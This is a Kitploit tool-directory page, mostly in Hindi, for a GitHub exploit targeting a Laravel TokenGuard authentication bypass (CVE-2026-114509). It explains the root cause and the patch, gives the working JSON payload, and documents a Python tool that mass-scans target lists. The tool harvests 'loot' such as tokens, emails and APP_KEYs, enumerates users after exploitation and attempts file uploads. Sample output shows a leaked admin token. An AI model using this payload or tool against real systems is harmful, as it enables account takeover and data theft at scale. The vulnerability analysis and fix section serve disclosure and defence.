Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-114509 — Laravel TokenGuard प्रमाणीकरण को non-string API क्रेडेंशियल्स के माध्यम से बायपास करना | Kitploit
उपकरण/GitHubGitHub/nxploited/cve-2026-114509
टोहीभेद्यता स्कैनरवेब भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापोस्ट-शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubnxploited/cve-2026-114509

CVE-2026-114509

Laravel TokenGuard प्रमाणीकरण को non-string API क्रेडेंशियल्स के माध्यम से बायपास करना

718घं 13मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-114509

गैर-स्ट्रिंग API क्रेडेंशियल्स के माध्यम से Laravel TokenGuard प्रमाणीकरण बायपास

🔴 CVE-2026-114509 — Laravel TokenGuard प्रमाणीकरण बायपास

Laravel Framework में अनधिप्रमाणित प्रमाणीकरण बायपास — TokenGuard API Guard


📋 अवलोकन

CVE-2026-114509 Laravel Framework के अंतर्निहित TokenGuard में एक गंभीर प्रमाणीकरण बायपास भेद्यता है।

जब MySQL या MariaDB पर मानक टोकन-आधारित API guard के साथ कॉन्फ़िगर किया जाता है, तो एक अनधिप्रमाणित हमलावर एक विशेष रूप से तैयार किया गया गैर-स्ट्रिंग क्रेडेंशियल (एक JSON array) सबमिट कर सकता है जो प्रमाणीकरण लुकअप को एक अनपेक्षित मौजूदा उपयोगकर्ता से मिलाने का कारण बनता है — बिना किसी वैध API टोकन को जाने पूर्ण पहुँच प्रदान करता है।

यह प्रभावित guard द्वारा संरक्षित किसी भी रूट पर पूर्ण खाता अधिग्रहण की ओर ले जाता है।


🛡️ भेद्यता विवरण

फ़ील्डविवरण
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
प्रभावित सॉफ़्टवेयरLaravel Framework (laravel/framework)
प्रभावित संस्करण< 12.68.0 और >= 13.0.0, < 13.29.0
प्रकारप्रमाणीकरण बायपास
CWECWE-287 — अनुचित प्रमाणीकरण
CWECWE-1287 — निर्दिष्ट प्रकार के इनपुट का अनुचित सत्यापन
CVSS 4.0 स्कोर9.2 / 10 — गंभीर
CVSS वेक्टरCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
प्रमाणीकरणकिसी की आवश्यकता नहीं (Pre-Auth)
शर्तMySQL / MariaDB बैकएंड
पैचv12.68.0 / v13.29.0

⚙️ CVSS 4.0 विश्लेषण

मीट्रिकमानअर्थ
Attack VectorNetworkइंटरनेट पर दूरस्थ रूप से शोषण योग्य
Attack ComplexityLowMySQL/MariaDB के अतिरिक्त कोई विशेष शर्त नहीं
Attack RequirementsPresentMySQL/MariaDB type coercion व्यवहार की आवश्यकता
Privileges RequiredNoneकिसी प्रमाणीकरण की आवश्यकता नहीं
User InteractionNoneकिसी पीड़ित कार्रवाई की आवश्यकता नहीं
ConfidentialityHighप्रमाणित उपयोगकर्ता डेटा तक पूर्ण पढ़ने की पहुँच
IntegrityHighबायपास किए गए उपयोगकर्ता के रूप में डेटा संशोधित कर सकता है
AvailabilityHighखाता अधिग्रहण के माध्यम से सेवा बाधित कर सकता है

🔬 तकनीकी विश्लेषण

मूल कारण

यह HTTP अनुरोध पार्सिंग, PHP framework लॉजिक और SQL डेटाबेस व्यवहार के बीच की सीमा पर एक type confusion बग है। तीन सामान्य व्यवहार मिलकर भेद्यता उत्पन्न करते हैं:

  1. TokenGuard गैर-स्ट्रिंग इनपुट स्वीकार करता है — TokenGuard.php में user() विधि is_string($token) && !empty($token) के बजाय !empty($token) का उपयोग करती है। JSON अनुरोध बॉडी टोकन मान के रूप में arrays या integers प्रदान कर सकती हैं।

  2. EloquentUserProvider एक WHERE IN क्वेरी बनाता है — जब retrieveByCredentials() को एक array मान प्राप्त होता है, तो यह WHERE api_token = ... के बजाय WHERE api_token IN (...) उत्पन्न करता है।

  3. MySQL type coercion — MySQL तुलना के लिए स्ट्रिंग कॉलम को संख्याओं में परिवर्तित करता है। Integer 0 किसी भी ऐसी स्ट्रिंग से मेल खाता है जो किसी अंक से शुरू नहीं होती (जो अधिकांश API टोकन हैं), क्योंकि MySQL उन स्ट्रिंग्स को 0.0 में cast करता है।

शोषण श्रृंखला

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

आक्रमण प्रवाह

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

समाधान

Laravel ने TokenGuard.php को एक टाइप चेक जोड़कर पैच किया — यदि टोकन एक स्ट्रिंग नहीं है, तो गार्ड तुरंत null लौटाता है और कभी भी उपयोगकर्ता प्रदाता को कॉल नहीं करता:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 उपयोग

आवश्यकताएँ

  • Python 3.7+
  • requests
  • rich (रंगीन टर्मिनल आउटपुट के लिए)

इंस्टॉलेशन

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

मोड

टूल दो मोड का समर्थन करता है: मास स्कैन और सिंगल टारगेट डीप प्रोब।


🔍 मोड 1: मास स्कैन

कमजोरी के लिए लक्ष्यों की सूची स्कैन करें:

python CVE-2026-114509.py scan targets.txt

विकल्प:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
फ़्लैगडिफ़ॉल्टविवरण
targets(आवश्यक)लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक)
--threads60समवर्ती थ्रेड्स की संख्या
--timeout12सेकंड में अनुरोध टाइमआउट

लक्ष्य फ़ाइल प्रारूप (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

बिना स्कीम वाले लक्ष्य डिफ़ॉल्ट रूप से https:// पर जाते हैं।

आउटपुट फ़ाइलें (स्क्रिप्ट निर्देशिका में बनाई गई):

फ़ाइलसामग्री
LV_DETECTED.txtसभी पाई गई Laravel एप्लिकेशन
LV_BYPASS.txtपुष्टि किए गए प्रमाणीकरण बायपास
LV_UPLOAD.txtअपलोड प्रयास परिणाम
LV_LOOT.txtनिकाला गया डेटा (टोकन, ईमेल, APP_KEYs, उपयोगकर्ता डेटा)

🎯 मोड 2: एकल लक्ष्य

वर्बोज़ आउटपुट के साथ एकल लक्ष्य की गहन जाँच करें:

python CVE-2026-114509.py single https://target.com

विकल्प:

python CVE-2026-114509.py single https://target.com --timeout 15

यह सभी चार चरणों को क्रमिक रूप से विस्तृत आउटपुट के साथ चलाता है:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified
टूल डाउनलोड करें